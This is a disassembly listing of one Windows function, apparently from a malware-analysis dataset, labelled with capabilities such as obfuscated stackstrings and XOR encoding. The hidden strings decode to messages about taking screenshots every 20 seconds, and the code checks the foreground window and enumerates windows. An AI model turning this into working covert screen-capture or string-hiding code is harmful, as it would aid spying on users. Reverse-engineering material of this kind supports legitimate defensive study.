Function at 0x4802f0
Capabilities:
Check for foreground window switch
Contain obfuscated stackstrings
Encode data using xor
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a0451
mov eax, dword fs:[0]
push eax
sub esp, 0x1b0
mov eax, dword [0x4c70c0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10c], edx
inc dword [0x4cae1c]
mov dword [ecx], 0x2710
xor ecx, ecx
mov byte [ebp - 0x30], 0x4e
mov byte [ebp - 0x2f], 0x62
mov byte [ebp - 0x2e], 0x6a
mov byte [ebp - 0x2d], 0x6f
mov byte [ebp - 0x2c], 0x3b
mov byte [ebp - 0x2b], 0x21
mov byte [ebp - 0x2a], 0x54
mov byte [ebp - 0x29], 0x64
mov byte [ebp - 0x28], 0x73
mov esi, dword [ebp + 8]
mov byte [ebp - 0x27], 0x66
mov byte [ebp - 0x26], 0x66
mov byte [ebp - 0x25], 0x6f
mov byte [ebp - 0x24], 0x74
mov byte [ebp - 0x23], 0x69
mov byte [ebp - 0x22], 0x70
mov byte [ebp - 0x21], 0x75
mov byte [ebp - 0x20], 0x21
mov byte [ebp - 0x1f], 0x32
mov byte [ebp - 0x1e], 0x31
mov byte [ebp - 0x1d], 0x21
mov byte [ebp - 0x1c], 0x74
mov byte [ebp - 0x1b], 0x66
mov byte [ebp - 0x1a], 0x64
mov byte [ebp - 0x19], 0x2f
mov byte [ebp - 0x18], 0
mov al, byte [ebp - 0x30]
mov dword [ebp - 0xe0], 0
mov al, byte [ebp + ecx - 0x30]
dec al
mov byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 0x18
jb 0x4803a6
lea eax, [ebp - 0x30]
mov ecx, 0x4cb188
push eax
call fcn.0040b670
push ecx
lea ecx, [ebp - 0x1bc]
call fcn.0041ac80
mov edx, str.all_
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x1ac]
call fcn.0041d670
push dword [0x4cae1c]
mov ecx, eax
call fcn.0042a560
mov edx, 0x4afa98
mov ecx, eax
call fcn.0041d670
lea eax, [ebp - 0xac]
push eax
lea ecx, [ebp - 0x1bc]
call fcn.0041abb0
mov edx, esi
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x48]
call fcn.00493160
mov byte [ebp - 4], 2
call fcn.00441565
mov dword [ebp - 0x108], eax
nop
cmp byte [0x4cb139], 0
jne 0x480538
cmp dword [ebp - 0x34], 0x10
lea ebx, [ebp - 0x48]
jb 0x480449
mov ebx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x38]
cmp eax, 0xd
jb 0x4804e5
add eax, 0xfffffff4
add eax, ebx
mov dword [ebp - 0x104], eax
sub eax, ebx
push eax
push 0x63
push ebx
call fcn.00439360
mov edi, eax
add esp, 0xc
test edi, edi
je 0x4804e5
mov ecx, edi
mov edx, str.class_Ghost_
mov esi, 9
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x480491
add ecx, 4
add edx, 4
sub esi, 4
jae 0x480480
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x4804b8
cmp esi, 0xfffffffd
je 0x4804b4
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x4804b8
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x4804b8
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
jne 0x4804b8
xor eax, eax
jmp 0x4804bd
sbb eax, eax
or eax, 1
test eax, eax
je 0x4804de
mov eax, dword [ebp - 0x104]
inc edi
sub eax, edi
push eax
push 0x63
push edi
call fcn.00439360
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x480474
jmp 0x4804e5
sub edi, ebx
cmp edi, 0xffffffff
jne 0x480538
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edx, eax
lea ecx, [ebp - 0xc4]
call fcn.00461150
or dword [ebp - 0xe0], 1
mov edi, eax
cmp dword [edi + 0x14], 8
mov eax, dword [edi + 0x10]
jb 0x48050c
mov edi, dword [edi]
cmp eax, 0xe
jne 0x4809a0
mov edx, str.Task_Switching
mov esi, eax
sub edi, edx
mov edi, edi
movzx ecx, word [edx + edi]
movzx eax, word [edx]
cmp cx, ax
jne 0x4809a0
add edx, 2
sub esi, 1
jne 0x480520
mov bl, 1
mov eax, dword [ebp - 0xe0]
test al, 1
je 0x4805aa
mov ecx, dword [ebp - 0xb0]
and eax, 0xfffffffe
mov dword [ebp - 0xe0], eax
cmp ecx, 8
jb 0x48058d
mov edx, dword [ebp - 0xc4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x480583
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x480bd9
push ecx
push edx
call fcn.00435dd2
add esp, 8
xor eax, eax
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0xb0], 7
mov word [ebp - 0xc4], ax
test bl, bl
je 0x480adf
call fcn.00441565
fldz
mov esi, eax
fstp dword [ebp - 0x104]
mov ecx, dword [ebp - 0x104]
push 0x20
mov dword [ebp - 0x100], ecx
mov dword [ebp - 0xfc], 0
mov dword [ebp - 0xf8], 0
call fcn.00435b4c
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [ebp - 0xfc], eax
mov dword [ebp - 0xf4], 0
mov dword [ebp - 0xf0], 0
mov dword [ebp - 0xec], 0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xf4]
fld1
push eax
push 0x10
fstp dword [ebp - 0x100]
mov dword [ebp - 0xe8], 7
mov dword [ebp - 0xe4], 8
call fcn.0040b0b0
mov eax, esi
mov byte [ebp - 4], 5
sub eax, dword [ebp - 0x108]
cmp eax, 0x7d0
jg 0x480a40
mov eax, dword [ebp - 0x10c]
sub esi, dword [eax]
cmp esi, 0x2710
jge 0x4809a7
mov dword [ebp - 0x94], 0x7c
xor edx, edx
mov byte [ebp - 0x90], 0x31
mov byte [ebp - 0x8f], 0x1d
mov byte [ebp - 0x8e], 0x15
mov byte [ebp - 0x8d], 0x12
mov byte [ebp - 0x8c], 0x46
mov byte [ebp - 0x8b], 0x5c
mov byte [ebp - 0x8a], 0x2e
mov byte [ebp - 0x89], 0x13
mov byte [ebp - 0x88], 9
mov byte [ebp - 0x87], 0x12
mov byte [ebp - 0x86], 0x18
mov byte [ebp - 0x85], 0x46
mov byte [ebp - 0x84], 0x5c
mov byte [ebp - 0x83], 0x2f
mov byte [ebp - 0x82], 0x10
mov byte [ebp - 0x81], 0x19
mov byte [ebp - 0x80], 0x19
mov byte [ebp - 0x7f], 0xc
mov byte [ebp - 0x7e], 0x5c
mov byte [ebp - 0x7d], 0x18
mov byte [ebp - 0x7c], 9
mov byte [ebp - 0x7b], 0x19
mov byte [ebp - 0x7a], 0x5c
mov byte [ebp - 0x79], 8
mov byte [ebp - 0x78], 0x13
mov byte [ebp - 0x77], 0x5c
mov byte [ebp - 0x76], 0xf
mov byte [ebp - 0x75], 0x13
mov byte [ebp - 0x74], 0x11
mov byte [ebp - 0x73], 0x19
mov byte [ebp - 0x72], 0x5c
mov byte [ebp - 0x71], 0xb
mov byte [ebp - 0x70], 0x15
mov byte [ebp - 0x6f], 0x12
mov byte [ebp - 0x6e], 0x18
mov byte [ebp - 0x6d], 0x13
mov byte [ebp - 0x6c], 0xb
mov byte [ebp - 0x6b], 0x5c
mov byte [ebp - 0x6a], 0x14
mov byte [ebp - 0x69], 0x1d
mov byte [ebp - 0x68], 0x12
mov byte [ebp - 0x67], 0x1b
mov byte [ebp - 0x66], 0x15
mov byte [ebp - 0x65], 0x12
mov byte [ebp - 0x64], 0x1b
mov byte [ebp - 0x63], 0x5c
mov byte [ebp - 0x62], 0x13
mov byte [ebp - 0x61], 0xe
mov byte [ebp - 0x60], 0x5c
mov byte [ebp - 0x5f], 0xf
mov byte [ebp - 0x5e], 0xb
mov byte [ebp - 0x5d], 0x15
mov byte [ebp - 0x5c], 8
mov byte [ebp - 0x5b], 0x1f
mov byte [ebp - 0x5a], 0x14
mov byte [ebp - 0x59], 0x15
mov byte [ebp - 0x58], 0x12
mov byte [ebp - 0x57], 0x1b
mov byte [ebp - 0x56], 0x46
mov byte [ebp - 0x55], 0x5c
mov byte [ebp - 0x54], 0x45
mov byte [ebp - 0x53], 0x4c
mov byte [ebp - 0x52], 0x5c
mov byte [ebp - 0x51], 0x11
mov byte [ebp - 0x50], 0xf
mov al, byte [ebp - 0x90]
mov byte [ebp - 0x4f], 0
jmp 0x4807c0
mov al, byte [ebp + edx - 0x90]
mov ecx, dword [ebp - 0x94]
xor cl, al
mov byte [ebp + edx - 0x90], cl
inc edx
cmp edx, 0x41
jb 0x4807c0
lea eax, [ebp - 0x90]
mov byte [ebp - 0x4f], 0
push eax
mov ecx, 0x4cb188
call fcn.0040b670
push 0x5a
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x100]
push eax
push 0x490a40
call dword [sym.imp.USER32.dll_EnumWindows]
lea edx, [ebp - 0x100]
lea ecx, [ebp - 0xdc]
call fcn.00493160
mov esi, eax
lea eax, [ebp - 0x48]
cmp eax, esi
je 0x4808a3
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x48085d
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x480853
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x480bd9
push ecx
push edx
call fcn.00435dd2
add esp, 8
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0xf
mov byte [ebp - 0x48], 0
mov eax, dword [esi]
mov dword [ebp - 0x48], eax
mov eax, dword [esi + 4]
mov dword [ebp - 0x44], eax
mov eax, dword [esi + 8]
mov dword [ebp - 0x40], eax
mov eax, dword [esi + 0xc]
mov dword [ebp - 0x3c], eax
mov eax, dword [esi + 0x10]
mov dword [ebp - 0x38], eax
mov eax, dword [esi + 0x14]
mov dword [ebp - 0x34], eax
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov ecx, dword [ebp - 0xc8]
cmp ecx, 0x10
jb 0x4808dd
mov edx, dword [ebp - 0xdc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4808d3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x480bd9
push ecx
push edx
call fcn.00435dd2
add esp, 8
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0xf4]
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0xc8], 0xf
mov byte [ebp - 0xdc], 0
test edx, edx
je 0x480957
mov ecx, dword [ebp - 0xec]
mov eax, edx
sub ecx, edx
and ecx, 0xfffffffc
cmp ecx, 0x1000
jb 0x48092f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x480bd9
push ecx
push edx
call fcn.00435dd2
add esp, 8
mov dword [ebp - 0xf4], 0
mov dword [ebp - 0xf0], 0
mov dword [ebp - 0xec], 0
mov ecx, dword [ebp - 0xfc]
mov eax, dword [ecx + 4]
mov dword [eax], 0
mov edi, dword [ecx]
test edi, edi
je 0x48098b
lea esp, [esp]
mov esi, dword [edi]
lea ecx, [edi + 0x10]
call fcn.0041fb30
push 0x20
push edi
call fcn.00435dd2
add esp, 8
mov edi, esi
test esi, esi
jne 0x480970
push 0x20
push dword [ebp - 0xfc]
call fcn.00435dd2
add esp, 8
jmp 0x480430
xor bl, bl
jmp 0x48053a
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0xf4]
test edx, edx
je 0x480a06
mov ecx, dword [ebp - 0xec]
mov eax, edx
sub ecx, edx
and ecx, 0xfffffffc
cmp ecx, 0x1000
jb 0x4809de
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x480bd9
push ecx
push edx
call fcn.00435dd2
add esp, 8
mov dword [ebp - 0xf4], 0
mov dword [ebp - 0xf0], 0
mov dword [ebp - 0xec], 0
mov ecx, dword [ebp - 0xfc]
mov eax, dword [ecx + 4]
mov dword [eax], 0
mov edi, dword [ecx]
test edi, edi
je 0x480acf
nop
mov esi, dword [edi]
lea ecx, [edi + 0x10]
call fcn.0041fb30
push 0x20
push edi
call fcn.00435dd2
add esp, 8
mov edi, esi
test esi, esi
jne 0x480a20
jmp 0x480acf
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0xf4]
test edx, edx
je 0x480a9f
mov ecx, dword [ebp - 0xec]
mov eax, edx
sub ecx, edx
and ecx, 0xfffffffc
cmp ecx, 0x1000
jb 0x480a77
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x480bd9
push ecx
push edx
call fcn.00435dd2
add esp, 8
mov dword [ebp - 0xf4], 0
mov dword [ebp - 0xf0], 0
mov dword [ebp - 0xec], 0
mov ecx, dword [ebp - 0xfc]
mov eax, dword [ecx + 4]
mov dword [eax], 0
mov edi, dword [ecx]
test edi, edi
je 0x480acf
mov esi, dword [edi]
lea ecx, [edi + 0x10]
call fcn.0041fb30
push 0x20
push edi
call fcn.00435dd2
add esp, 8
mov edi, esi
test esi, esi
jne 0x480ab4
push 0x20
push dword [ebp - 0xfc]
call fcn.00435dd2
add esp, 8
cmp dword [ebp - 0x34], 0x10
lea esi, [ebp - 0x48]
jb 0x480aeb
mov esi, dword [ebp - 0x48]
cmp dword [ebp - 0x98], 8
lea edi, [ebp - 0xac]
jb 0x480b00
mov edi, dword [ebp - 0xac]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push esi
mov edx, edi
mov ecx, eax
call fcn.00484f20
mov ecx, dword [ebp - 0x34]
add esp, 4
cmp ecx, 0x10
jb 0x480b47
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x480b3d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x480bde
push ecx
push edx
call fcn.00435dd2
add esp, 8
mov ecx, dword [ebp - 0x98]
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0xf
mov byte [ebp - 0x48], 0
cmp ecx, 8
jb 0x480b95
mov edx, dword [ebp - 0xac]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x480b8b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x480bde
push ecx
push edx
call fcn.00435dd2
add esp, 8
xor eax, eax
mov dword [ebp - 0x9c], 0
lea ecx, [ebp - 0x1bc]
mov dword [ebp - 0x98], 7
mov word [ebp - 0xac], ax
call fcn.00419de0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00435b39
mov esp, ebp
pop ebp
ret
call fcn.0043f67c
call fcn.0043f67c
int3